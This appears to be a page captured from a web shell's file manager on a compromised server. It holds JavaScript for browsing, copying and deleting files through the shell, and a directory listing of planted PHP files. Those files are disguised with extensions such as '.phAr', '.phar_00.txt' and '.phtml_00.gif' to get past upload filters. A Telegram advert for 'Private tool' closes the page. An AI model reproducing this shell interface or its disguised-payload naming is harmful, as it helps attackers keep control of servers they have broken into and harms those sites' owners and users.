    document.getElementById('tab-' + tab).style.display = 'block';
    if (tab === 'info') loadServerInfo();
    if (tab === 'files') fmList();
}

let ordersData = null;

function closeEditor() {
    document.getElementById('editor-overlay').style.display = 'none';
}

function fmCopy(path) { STATE.clipboard = path; STATE.clipboardOp = 'copy'; showStatus('Copied: ' + path, 'success'); }
function fmCut(path) { STATE.clipboard = path; STATE.clipboardOp = 'cut'; showStatus('Cut: ' + path, 'success'); }

function fmDelete(path) {
    if (confirm('Delete ' + path + '?')) {
        api({action: 'fm_delete', path}).then(r => { if (r.ok) fmList(); });
    }
}

function showStatus(msg, type) {
    const el = document.getElementById('status-bar');
    el.className = 'status-bar status-' + type;
    el.textContent = msg;
    el.style.display = 'block';
    setTimeout(() => el.style.display = 'none', 3000);
}

let modalCallback = null;
function modalShow(title, message, defaultValue, confirmText, callback) {
    document.getElementById('modal-title').textContent = title;
    document.getElementById('modal-message').textContent = message;
    document.getElementById('modal-input').value = defaultValue || '';
    document.getElementById('modal-confirm').textContent = confirmText || 'OK';
    document.getElementById('modal-overlay').style.display = 'flex';
    document.getElementById('modal-input').focus();
    document.getElementById('modal-input').select();
    modalCallback = callback;
}

function modalClose() { document.getElementById('modal-overlay').style.display = 'none'; modalCallback = null; }

function modalConfirm() {
    const value = document.getElementById('modal-input').value;
    document.getElementById('modal-overlay').style.display = 'none';
    if (modalCallback) { modalCallback(value); modalCallback = null; }
}

document.addEventListener('keydown', function(e) {
    if (document.getElementById('modal-overlay').style.display === 'flex') {
        if (e.key === 'Enter') modalConfirm();
        else if (e.key === 'Escape') modalClose();
    }
});

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	www-data/www-data	0755	2026-04-27 03:28:59
..	dir	-	www-data/www-data	0755	2026-04-27 03:28:58
.htaccess	text/plain	127 B	www-data/www-data	0444	2026-04-27 03:28:59
fiaplm.phAr	text/x-php	33 B	www-data/www-data	0775	2026-04-20 01:09:40
fifuqk.phar_00.txt	text/x-php	39 B	www-data/www-data	0775	2026-04-20 06:17:14
file1.php56	text/x-php	58.62 KB	www-data/www-data	0775	2026-03-24 12:16:18
file1.php6	text/x-php	58.62 KB	www-data/www-data	0775	2026-03-24 12:16:20
file1.php8	text/x-php	58.62 KB	www-data/www-data	0775	2026-03-24 12:16:22
file1_1.php56	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:31:48
file1_1.php6	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:31:48
file1_1.php8	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:31:49
file1_2.php56	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:54:25
file1_2.php6	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:54:26
file1_2.php8	text/x-php	118.4 KB	www-data/www-data	0775	2026-04-02 09:54:26
file2.php56	text/x-php	153.46 KB	www-data/www-data	0775	2026-03-24 12:16:26
file2.php6	text/x-php	153.46 KB	www-data/www-data	0775	2026-03-24 12:16:27
file2.php8	text/x-php	153.46 KB	www-data/www-data	0775	2026-03-24 12:16:28
fiqbss.phtml_00.gif	text/x-php	33 B	www-data/www-data	0775	2026-03-13 07:44:47
fitfk	text/plain	27 B	www-data/www-data	0775	2025-12-03 05:07:11
fitwxd.inc	text/x-php	50 B	www-data/www-data	0775	2026-04-20 01:09:45

For more Private tool come to me!

https://t.me/aDriv4vz